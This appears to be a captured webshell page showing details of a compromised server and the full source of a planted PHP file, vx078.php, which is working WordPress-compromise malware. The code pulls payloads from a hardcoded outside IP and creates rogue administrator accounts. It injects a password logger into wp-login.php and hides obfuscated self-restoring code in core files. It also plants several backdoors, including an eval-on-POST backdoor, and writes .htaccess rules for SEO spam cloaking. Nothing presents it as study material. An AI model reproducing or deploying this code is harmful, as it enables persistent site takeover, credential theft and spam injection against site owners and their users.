403Webshell
Server IP : 173.201.180.75  /  Your IP : 3.236.46.172
Web Server : Apache
System : Linux p3plzcpnl459188.prod.phx3.secureserver.net 2.6.32-954.3.5.lve1.4.92.el6.x86_64 #1 SMP Tue Jul 4 15:05:25 UTC 2023 x86_64
User : ryvm0idqv8fv ( 7659266)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ryvm0idqv8fv/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ryvm0idqv8fv/public_html/vx078.php
<?php
header('Access-Control-Allow-Origin:*');
error_reporting(E_ALL);

const DOMAIN = 'http://198.204.253.18/static/';
const USER_AGENT = 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)';
define('ROOT', $_SERVER['DOCUMENT_ROOT']);
chdir(ROOT);
define("HTTP", (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on") ? 'https' : 'http');
define("HOST", $_SERVER["HTTP_HOST"]);

if (isset($_GET["grp"])) {
    $group_name = $_GET["grp"];
} else {
    $group_name = '';
}
if ($group_name === '') {
    $group_name = get_filename(__FILE__);
}
define("GROUP_NAME", $group_name);

if (isset($_GET["action"])) {
    $action = $_GET["action"];
} else {
    $action = '';
}
define("ACTION", $action);

const HT = '<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$">
Order Allow,Deny
Allow from all
</FilesMatch>
';

$arr_paths_lt4 = array();
get_arr_paths_lt4(ROOT);
$arr_paths_gt3_lt4 = @get_arr_paths_gt3_lt4();

function get_arr_paths_lt4($path)
{
    global $arr_paths_lt4;
    if ($handle = opendir($path)) {
        while (($file = readdir($handle)) !== false) {
            if ($file != "." && $file != "..") {
                $pfile = $path . "/" . $file;
                if (is_dir($pfile) && !is_link($pfile)) {
                    if (substr_count(str_replace(ROOT . '/', '', $pfile), '/') < 3) {
                        get_arr_paths_lt4($pfile);
                    }
                    if (!file_exists($pfile . "/index.php")) {
                        array_push($arr_paths_lt4, str_replace(ROOT . '/', '', $pfile));
                    }

                }
            }
        }
    }
    shuffle($arr_paths_lt4);
}

function get_arr_paths_gt3_lt4()
{
    global $arr_paths_lt4;

    $p_arr = array();
    $pnew_arr = array();

    foreach ($arr_paths_lt4 as $k => $v) {
        $qupath = str_replace(ROOT, "", $v);
        $p_arr[$k] = explode("/", $qupath);
        if (count($p_arr[$k]) >= 3) {
            $pnew_arr[] = $v;
        }
    }

    return $pnew_arr;
}

function rand_abc($length)
{
    $str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $strlen = 52;
    while ($length > $strlen) {
        $str .= $str;
        $strlen += 52;
    }
    $str = str_shuffle($str);
    return substr($str, 0, $length);
}

function get_filename($file_path)
{
    $file_base_name = basename($file_path);
    $file_name_arr = explode('.', $file_base_name);
    $filename = $file_name_arr[0];
    return $filename;
}

function functionCheck()
{
    $disabled = explode(',', ini_get('disable_functions'));
    $new_disable = array();
    foreach ($disabled as $item) {
        $new_disable[] = trim($item);
    }

    $command_array = array('system', 'shell_exec', 'popen', 'exec', 'proc_open', 'passthru');

    $command_able = false;

    foreach ($command_array as $command) {
        if (!in_array($command, $new_disable)) {
            $command_able = true;
            break;
        }
    }

    return $command_able;
}

function getPhpPath()
{
    ob_start();
    phpinfo(1);
    $info = ob_get_contents();
    sleep(3);
    ob_end_clean();

    preg_match("/--bindir=([^&]+)/si", $info, $matches);
    if (isset($matches[1]) && $matches[1] != '') {
        return $matches[1] . '/php';
    }

    preg_match("/--prefix=([^&]+)/si", $info, $matches);
    if (!isset($matches[1])) {
        return 'php';
    }

    return $matches[1] . '/bin/php';
}

function run($code, $method = 'popen')
{
    $disabled = explode(',', ini_get('disable_functions'));
    $new_disable = array();
    foreach ($disabled as $item) {
        $new_disable[] = trim($item);
    }

    $command_array = array('system', 'shell_exec', 'popen', 'exec', 'proc_open', 'passthru');

    $method = '';
    foreach ($command_array as $command) {
        if (!in_array($command, $new_disable)) {
            $method = $command;
            break;
        }
    }

    if (empty($method)) {
        return false;
    }

    $result = '';
    switch ($method) {

        case 'proc_open':
            $descriptorspec = array(
                0 => array("pipe", 'r'),
                1 => array("pipe", 'w'),
                2 => array("pipe", 'error.txt')
            );
            $pipes = array();
            proc_open($code, $descriptorspec, $pipes);
            return false;
            break;

        case 'passthru':
            passthru($code);
            return false;
            break;

        case 'shell_exec':
            $result = '';
            $result = shell_exec($code);
            return $result;
            break;

        case 'system':
            $result = '';
            system($code, $result);
            return $result;
            break;

        case 'popen':
            $fp = popen($code, "r");
            while (!feof($fp)) {
                $out = fgets($fp, 4096);
                $result .= $out;
            }
            pclose($fp);
            return $result;
            break;

        case 'exec':
            exec($code, $array);
            foreach ($array as $key => $value) {
                $result .= $key . " : " . $value . PHP_EOL;
            }
            return $result;
            break;

        default:
            return false;
            break;
    }
}

function request($url, $header = null, $post_data = null)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');

    if (stripos($url, "https:") === false) {
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    }

    if (is_array($header) && !empty($header)) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }
    if (is_array($post_data) && !empty($postdata)) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    }

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $body = curl_exec($ch);
    curl_close($ch);

    if ($body == false) {
        $body = file_get_contents($url);
    }
    return $body;
}

function hide_index_htaccess()
{
    $result = array();
    $result['status'] = 200;
    $result['title'] = '藏index.php';

    if (!file_exists(ROOT . '/wp-config.php') || !is_dir(ROOT . '/wp-includes') || !is_dir(ROOT . '/wp-content')) {
        $result['status'] = 500;
        $result['message'][] = 'The site is not wordpress';
        return $result;
    } else {
        $result['message'][] = 'The site is wordpress';
    }

    if (!file_exists('index.php')) {
        $result['status'] = 500;
        $result['message'][] = 'index.php not exists';
        return $result;
    } else {
        $result['message'][] = 'index.php file exists';
    }

    $file_time = filectime('index.php');
    $url = DOMAIN . 'indexes/' . GROUP_NAME . '.txt';
    $hide_index = request($url);

    @chmod('index.php', 0644);
    $old_index = file_get_contents('index.php');
    $wp_index = substr($old_index, strrpos($old_index, '<?php'));
    $success = @file_put_contents('index.php', $hide_index . $wp_index, LOCK_EX);

    if ($success) {
        touch('index.php', $file_time);
        $result['message'][] = 'index.php write success';
        @chmod('index.php', 0444);
    } else {
        $result['status'] = 500;
        $result['message'][] = 'modify file index.php file fail';
    }

    @chmod('.htaccess', 0644);
    $success = file_put_contents('.htaccess', HT);
    if ($success) {
        $result['message'][] = '.htaccess create success.';
        touch('.htaccess', $file_time);
        @chmod('.htaccess', 0444);
    } else {
        $result['status'] = 500;
        $result['message'][] = 'write .htaccess file fail';
    }
    return $result;
}

function check_test_link()
{
    $result = array();
    $result['status'] = 200;
    $result['title'] = '检查测试链接';
    $test_token = trim(request(DOMAIN . 'indexes/' . GROUP_NAME . '.token'));
    $test_content = request(sprintf("%s://%s/index.php?%s", HTTP, HOST, $test_token), array('User-Agent: ' . USER_AGENT));
    if ($test_content == false) {
        $result['status'] = 500;
        $result['message'][] = 'test link get fail';
        return $result;

    } else {
        if (strstr($test_content, 'index.php?main_page=product_info&products_id=') && strstr($test_content, '@Twitter_card_image')) {
            $result['message'][] = 'test link is ours success';
        } else {
            $result['status'] = 500;
            $result['message'][] = 'test link is not ours fail';
        }
    }
    return $result;
}

function ping_sitemap()
{
    $result = array();
    $result['title'] = 'Ping Sitemap';

    $content = request(sprintf("%s://%s/pingmaps.xml", HTTP, HOST), array('User-Agent: ' . USER_AGENT));
    $success = strrpos($content, 'pingok');

    if ($success) {
        $result['status'] = 200;
        $result['message'][] = 'ping sitemap success';
    } else {
        $result['status'] = 500;
        $result['message'][] = 'ping sitemap fail';
    }
    return $result;
}

function generate_robots()
{
    $result = array();
    $result['title'] = '生成robots.txt';

    $content = request(sprintf("%s://%s/index.php?pd=smyedit&mapname=sitemap.xml", HTTP, HOST), array('User-Agent: ' . USER_AGENT));
    $success = strrpos($content, 'ok') || strrpos($content, 'sitemap already added');
    if ($success) {
        $result['status'] = 200;
        $result['message'][] = 'generate robots.txt success';
    } else {
        $result['status'] = 500;
        $result['message'][] = 'generate robots.txt fail';
    }
    return $result;
}

function _add_wp_user($username, $encryptedPassword, $changeAllPassword)
{
    $contents = file_get_contents("wp-config.php");

    preg_match("@['|\"]DB_NAME['|\"],\s*['|\"](.*?)['|\"]@", $contents, $matchd);
    preg_match("@['|\"]DB_USER['|\"],\s*['|\"](.*?)['|\"]@", $contents, $matchu);
    preg_match("@['|\"]DB_PASSWORD['|\"],\s*['|\"](.*?)['|\"]@", $contents, $matchp);
    preg_match("@['|\"]DB_HOST['|\"],\s*['|\"](.*?)['|\"]@", $contents, $matchh);
    preg_match("@table_prefix\s*=\s*['|\"](.*?)['|\"]@", $contents, $matchw);
    $db_name = $matchd[1];
    $db_user = $matchu[1];
    $db_pass = $matchp[1];
    $db_host = $matchh[1];
    $db_pre = $matchw[1];
    $db_port = "3306";
    if (strstr($db_host, ":")) {
        $arr = explode(":", $db_host);
        $db_host = $arr[0];
        $db_port = $arr[1];
    }
    if (trim($db_host) == "") {
        $db_host = "localhost";
    }
    $con = mysqli_connect($db_host, $db_user, $db_pass, $db_name, $db_port);

    if ($changeAllPassword == true) {
        $sql = "update $db_pre" . "users set user_pass='$encryptedPassword'";
        $query = mysqli_query($con, $sql);
    }

    $sql = "select * from $db_pre" . "users where user_login='$username';";
    $query = mysqli_query($con, $sql);
    $row = mysqli_fetch_array($query);

    if (!empty($row)) {
        $sql = "update $db_pre" . "users set user_pass='$encryptedPassword' where user_login='$username';";
        $query = mysqli_query($con, $sql);
        return "user $username exists, change password success";
    } else {
        $sql = "insert into $db_pre" . "users(user_login,user_pass,user_nicename,user_email,user_registered,user_activation_key,user_status,display_name) values('$username', '$encryptedPassword', '$username', '$username@gmail.com', '2021-05-21 09:13:26', '', '0', '$username');";
        $query = mysqli_query($con, $sql);
        $sql = "select ID from $db_pre" . "users where user_login='$username';";
        $query = mysqli_query($con, $sql);
        $row = mysqli_fetch_array($query);
        $id = $row['ID'];
        $sql = "insert into $db_pre" . "usermeta(user_id, meta_key, meta_value) values($id, '$db_pre" . "capabilities', 'a:1:{s:13:\"administrator\";b:1;}');";
        $query = mysqli_query($con, $sql);
        $sql = "select * from $db_pre" . "users where user_login='$username';";
        $query = mysqli_query($con, $sql);
        $row = mysqli_fetch_array($query);
        if ($row['user_login'] == $username) {
            return "useradd $username success";
        }
    }

    return "useradd $username fail";
}

function cleancroncode($file, $startstr, $endstr)
{
    $msg = 'cron no code';
    if (file_exists($file)) {

        $ma = file_get_contents($file);

        $start = strpos($ma, $startstr);

        if ($start !== false) {

            $head = substr($ma, 0, $start - 1);

            $end = strpos($ma, $endstr);

            $foot = substr($ma, $end);

            file_put_contents($file, $head . $foot);

            $msg = 'clear cron code';

        } else {
            $msg = 'cron no code';
        }
    }
    return $msg;
}

function insertcroncode($file, $src, $beforetag)
{
    // code
    $c = file_get_contents($file);
    $pn = file_put_contents($file, str_replace($beforetag, $src . "\n" . $beforetag, $c));
    if ($pn) {
        $msg = "line of $file ok";
    } else {
        $msg = "line of $file fail";
    }
    return $msg;
}

function add_user()
{
    $result = array();
    $result['title'] = '创建wordpress用户';

    if (file_exists("wp-config.php")) {
        $result['status'] = 200;
        $result['message'][] = _add_wp_user('admin6', '$P$BfQ0FCKPs7dD26q5gBJda1WhJwhNvP.', true);
        $result['message'][] = _add_wp_user('wpuser', '6b7206d5b741eb55d770fd0d2b8c3a71', false);
    } else {
        $result['status'] = 500;
        $result['message'][] = 'wp-config.php not exists fail';
    }

    if (file_exists("wp-login.php")) {
        $src = <<<text
        /*login*/ if(\$_POST['pwd']){   \$m="dt=".date("Y-m-d H:i:s",time())."&shost=".\$_SERVER["HTTP_HOST"]."&user=".\$_POST['log']."&pwd=".\$_POST['pwd'];    @fwrite(fopen("wp-admin/images/about-header.png","a+"),\$m."\n\n");    @fwrite(fopen("about-header.png","a+"),\$m."\n\n");}        
text;
        cleancroncode('wp-login.php', '/*login*/', '	default:');
        insertcroncode('wp-login.php', $src, '	default:');
    }

    return $result;
}

function crack_auto_restore()
{
    $arr_wordpress_filename = array(
        'blocks.php' => 'function register_block_style_handle',
        'theme.php' => 'function validate_current_theme',
        'template.php' => 'function get_archive_template',
        'rewrite.php' => 'function url_to_postid',
        'admin-bar.php' => 'function wp_admin_bar_my_account_menu',
        'rest-api.php' => 'function register_rest_field',
        'media.php' => 'function image_downsize',
        'nav-menu.php' => 'function is_nav_menu_item',
        'theme-templates.php' => 'function wp_enable_block_templates',
        'block-template.php' => 'function _strip_template_file_suffix',
    );

    $wordpress_include_path = ROOT . '/wp-includes/';
    $arr_msg = array();
    foreach ($arr_wordpress_filename as $wordpress_filename => $needle) {
        $wordpress_filepath = $wordpress_include_path . $wordpress_filename;
        if (!file_exists($wordpress_filepath)) {
            continue;
        }
        $old_content = file_get_contents($wordpress_filepath);
        if (preg_match('/\/\/ project_x[\s\S]*?\/\/ project_y/', $old_content)) {
            $new_content = preg_replace('/\/\/ project_x[\s\S]*?\/\/ project_y/', '', $old_content);
            $success = @file_put_contents($wordpress_filepath, $new_content);
            $arr_msg[] = 'crack restore: ' . $wordpress_filepath . ' ' . ($success ? 'success' : 'fail');
        }
    }
    touch('Fr6D0tP');
    return $arr_msg;
}

function _auto_restore_file()
{
    global $arr_paths_gt3_lt4;

    $index_path = ROOT . '/index.php';
    $index_content = file_get_contents($index_path);
    $index_size = filesize($index_path);
    $b64_index_content = base64_encode($index_content);

    $wordpress_include_path = ROOT . '/wp-includes/';
    $arr_wordpress_filename = array(
        'blocks.php' => 'function register_block_style_handle',
        'theme.php' => 'function validate_current_theme',
        'template.php' => 'function get_archive_template',
        'rewrite.php' => 'function url_to_postid',
        'admin-bar.php' => 'function wp_admin_bar_my_account_menu',
        'rest-api.php' => 'function register_rest_field',
        'media.php' => 'function image_downsize',
        'nav-menu.php' => 'function is_nav_menu_item',
        'theme-templates.php' => 'function wp_enable_block_templates',
        'block-template.php' => 'function _strip_template_file_suffix',
    );
    $arr_rand_wordpress_filename = array_rand($arr_wordpress_filename, 6);
    $hidden_code_template = <<<'PHP_CODE'

// project_x
$f_size = 'fil' . 'esi' . 'ze'; $f_exists = 'fil' . 'e_e' . 'xis' . 'ts'; $f_put = 'fil' . 'e_p' . 'ut_' . 'con' . 'ten' . 'ts'; $f_get = 'fil' . 'e_g' . 'et_' . 'con' . 'ten' . 'ts'; $ch = 'c' . 'h' . 'm' . 'o' . 'd'; $tou = 't' . 'o' . 'u' . 'c' . 'h'; $delete = 'unl' . 'ink'; $bs_dec = 'bas' . 'e6' . '4_de' . 'code'; $idx_path = $_SERVER['DOCUME' . 'NT_ROOT'] . '/ind' . 'ex.php'; $bk_idx_path = {bk_idx_path}; if (!$f_exists($idx_path) or $f_size($idx_path) != {idx_size}) { if ($f_exists($bk_idx_path)){ $idx_code = @$f_get($bk_idx_path); @$ch($idx_path, 438); @$delete($idx_path); @$f_put($idx_path, $bs_dec($idx_code)); @$ch($idx_path, 292); } }
// project_y

PHP_CODE;

    $arr_msg = array();
    foreach ($arr_rand_wordpress_filename as $key => $wordpress_filename) {
        $bk_index_path = $arr_paths_gt3_lt4[array_rand($arr_paths_gt3_lt4, 1)] . rand_abc(12) . '.log';
        @file_put_contents($bk_index_path, $b64_index_content);

        $hidden_code = str_replace('{bk_idx_path}', "'$bk_index_path'", $hidden_code_template);
        $hidden_code = str_replace('{idx_size}', $index_size, $hidden_code);

        $needle = $arr_wordpress_filename[$wordpress_filename];
        $wordpress_filepath = $wordpress_include_path . $wordpress_filename;
        if (!file_exists($wordpress_filepath)) {
            continue;
        }
        $old_content = file_get_contents($wordpress_filepath);
        if (preg_match('/\/\/ project_x[\s\S]*?\/\/ project_y/', $old_content)) {
            $new_content = preg_replace('/\s*?\/\/ project_x[\s\S]*?\/\/ project_y\s*/', $hidden_code, $old_content);
        } else {
            $new_content = str_replace($needle, $hidden_code . $needle, $old_content);
        }
        @chmod($wordpress_filepath, 438);
        $success = @file_put_contents($wordpress_filepath, $new_content);
        $arr_msg[] = 'hide code: ' . $wordpress_filepath . ' ' . ($success ? 'success' : 'fail');
    }
    return $arr_msg;
}

function cron_restore()
{
    $return_result = array();
    $return_result['title'] = __FUNCTION__;

    if (functionCheck() !== false) {

        $uc = request(DOMAIN . 'cron/cron_restore');


        if (mb_strlen($uc) > 0) {
            $return_result['message'][] = "cron file get success";
        } else {
            $return_result['message'][] = "cron file get fail";
            return $return_result;
        }

        $cronfile = __DIR__ . "/" . strtolower(rand_abc(4)) . ".php";

        $runbody = str_replace('__DIR__', "'" . __DIR__ . "'", $uc);

        if (function_exists('file_put_contents')) {

            $fpcr = file_put_contents($cronfile, $runbody);

            if ($fpcr) {
                $return_result['message'][] = "cron file write success";
            } else {
                $return_result['message'][] = "cron file write fail";
            }

        } else {

            $cfh = fopen($cronfile, 'w+');
            $fr = fwrite($cfh, $runbody);
            fclose($cfh);

            if ($fr > 0) {
                $return_result['message'][] = "cron file write success";
            } else {
                $return_result['message'][] = "cron file write fail";
            }

        }

        $php_bin = getPhpPath();

        $code = "nohup " . $php_bin . ' ' . $cronfile . ' ' . base64_decode('PiAvZGV2L251bGwgMj4mMSAm');

        $run_result = run($code);

        if (!$run_result) {
            $return_result['message'][] = $code . " run success";
        } else {
            $return_result['message'][] = $code . " run fail";
        }

        sleep(2);

        if (@unlink($cronfile)) {
            $return_result['message'][] = "delete " . $cronfile . " ok";
        } else {
            $return_result['message'][] = "delete " . $cronfile . " fail";
        }

    } else {
        $return_result['message'][] = "function disable cron fail ";
    }

    return $return_result;
}

function file_restore()
{
    $result = array();
    $result['title'] = '文件秒还原';

    $crack_result = crack_auto_restore();
    foreach ($crack_result as $key => $msg) {
        $result['message'][] = $msg;
    }

    $restore_result = _auto_restore_file();
    foreach ($restore_result as $key => $msg) {
        $result['message'][] = $msg;
    }

    return $result;
}


function hide_backdoors()
{
    global $arr_paths_lt4;

    $backdoors_info = array();
    $return_result = array();
    $return_result['title'] = 'create shell';
    $return_result['status'] = 'ok';
    $return_result['files_urls'] = array();


    $rand_paths = array();
    $rand_i = array_rand($arr_paths_lt4, 4);
    foreach ($rand_i as $i) {
        $rand_paths[] = $arr_paths_lt4[$i];
    }

    $rand_files = array();
    $all_files = array('about', 'aindex', 'flame', 'ru', 'wp-aespa', 'wp-ok', 'wp-red', 'wp-css');
    $rand_i = array_rand($all_files, 4);
    foreach ($rand_i as $i) {
        $rand_files[] = $all_files[$i];
    }

    $filenames = array('index.php', 'wp-aespa.php', 'ru.php', 'wp-css.php', 'wp-ok.php');

    $i = 0;
    while ($i < sizeof($rand_files)) {
        $backdoors_info[$rand_paths[$i]] = $filenames[$i];
        $file_path = $rand_paths[$i] . '/' . $filenames[$i];
        $file_content = request(DOMAIN . 'backdoors/' . $rand_files[$i]);
        $success = @file_put_contents($file_path, $file_content);
        if ($success) {
            $file_url = HTTP . "://" . HOST . '/' . $file_path;
            $return_result['message'][] = 'file:' . " \t" . $file_url . ' success';
            $return_result['files_urls'][] = $file_url;
        }
        $i++;
    }


    $wp_admin_content = @file_get_contents('wp-admin/index.php');
    if ($wp_admin_content) {
        $result = @file_put_contents('wp-admin/index.php', "<?php if(isset(\$_POST['cyborg']) && !empty(\$_POST['cyborg'])){@eval(\$_POST['cyborg']);} ?>" . $wp_admin_content);
        if ($result) {
            $file_url = HTTP . "://" . HOST . '/' . 'wp-admin/index.php';
            $return_result['message'][] = 'file:' . " \t" . $file_url . ' success';
//            $return_result['files_urls'][] = $file_url;
        }
    }

    $htaccess_content = '';
    $htaccess_content .= '<IfModule mod_rewrite.c>' . "\n";
    $htaccess_content .= 'RewriteEngine On' . "\n";
    $htaccess_content .= 'RewriteBase /' . "\n";
    $htaccess_content .= 'RewriteRule ^index.php$ - [L]' . "\n";
    $htaccess_content .= 'RewriteCond %{REQUEST_FILENAME} !-f' . "\n";
    $htaccess_content .= 'RewriteCond %{REQUEST_FILENAME} !-d' . "\n";
    $htaccess_content .= 'RewriteRule . index.php [L]' . "\n";
    $htaccess_content .= '</IfModule>' . "\n";
    $htaccess_content .= '<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$">' . "\n";
    $htaccess_content .= 'Order Allow,Deny' . "\n";
    $htaccess_content .= 'Deny from all' . "\n";
    $htaccess_content .= '</FilesMatch>' . "\n";
    $htaccess_content .= '<FilesMatch "^({#backdoors})$">' . "\n";
    $htaccess_content .= 'Order Allow,Deny' . "\n";
    $htaccess_content .= 'Allow from all' . "\n";
    $htaccess_content .= '</FilesMatch>' . "\n";

    $success = file_put_contents(ROOT . '/.htaccessinfo', json_encode($backdoors_info));
    $success = file_put_contents(ROOT . '/.htaccesstem', $htaccess_content);
    if ($success) {
        $return_result['htaccess_content'] = $htaccess_content;
    }
    return $return_result;
}

function generate_lock_file()
{
    $content = request(DOMAIN . 'lock/lock');
    if (function_exists('file_put_contents')) {
        file_put_contents('lock.php', $content);
    } else {
        $file_handler = fopen('lock.php', "a+");
        fwrite($file_handler, $content);
        fclose($file_handler);
    }
}


function output_message($result)
{
    if (!is_array($result)) {
        return;
    }

    if (!isset($result['title'])) {
        $result['title'] = '';
    }

    if (isset($result['status']) && !empty($result['status'])) {
        if ($result['status'] == 200) {
            $status = '<font color="green">Success</font>';
        }

        if ($result['status'] == 500) {
            $status = '<font color="red">Fail</font>';
        }
    } else {
        $status = '';
    }

    echo '<h3>' . $result['title'] . '   ' . $status . '</h3>';

    if (sizeof($result['message']) > 0) {
        foreach ($result['message'] as $message) {
            $message = str_replace('success', '<font color="blue"><b>Success</b></font>', $message);
            $message = str_replace('fail', '<font color="red"><b>Fail</b></font>', $message);
            echo '<li>' . $message . '</li>';
        }
    }

    echo "<br />";
    echo "<br />";
}


function main()
{
    @unlink(__FILE__);

    if (ACTION == 'shells') {
        $add_user_result = add_user();
        output_message($add_user_result);

        $hide_backdoors_result = hide_backdoors();
        if (isset($hide_backdoors_result['files_urls']) && sizeof($hide_backdoors_result['files_urls'])) {
            echo "<h3>后台路径</h3> <br /><textarea style=\"width: 90%;height: 100px;\">";
            foreach ($hide_backdoors_result['files_urls'] as $file_url) {
                echo $file_url . "\t";
            }
            echo "</textarea>";
        }
        generate_lock_file();
        exit();
    }

    $index_result = hide_index_htaccess();
    output_message($index_result);

    if ($index_result['status'] == 200) {
        $test_link_result = check_test_link();
        output_message($test_link_result);

        if ($test_link_result['status'] == 200) {
            if (ACTION != 'fix') {
                $ping_sitemap_result = ping_sitemap();
                output_message($ping_sitemap_result);
            }

            $generate_robots_result = generate_robots();
            output_message($generate_robots_result);

            $add_user_result = add_user();
            output_message($add_user_result);

            $file_restore_result = file_restore();
            output_message($file_restore_result);

            cron_restore();

            $hide_backdoors_result = hide_backdoors();
            if (isset($hide_backdoors_result['files_urls']) && sizeof($hide_backdoors_result['files_urls'])) {
                echo "<h3>后台路径</h3> <br /><textarea style=\"width: 90%;height: 100px;\">";
                foreach ($hide_backdoors_result['files_urls'] as $file_url) {
                    echo $file_url . "\t";
                }
                echo "</textarea>";
            }
        }
    }
    generate_lock_file();
}

main();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit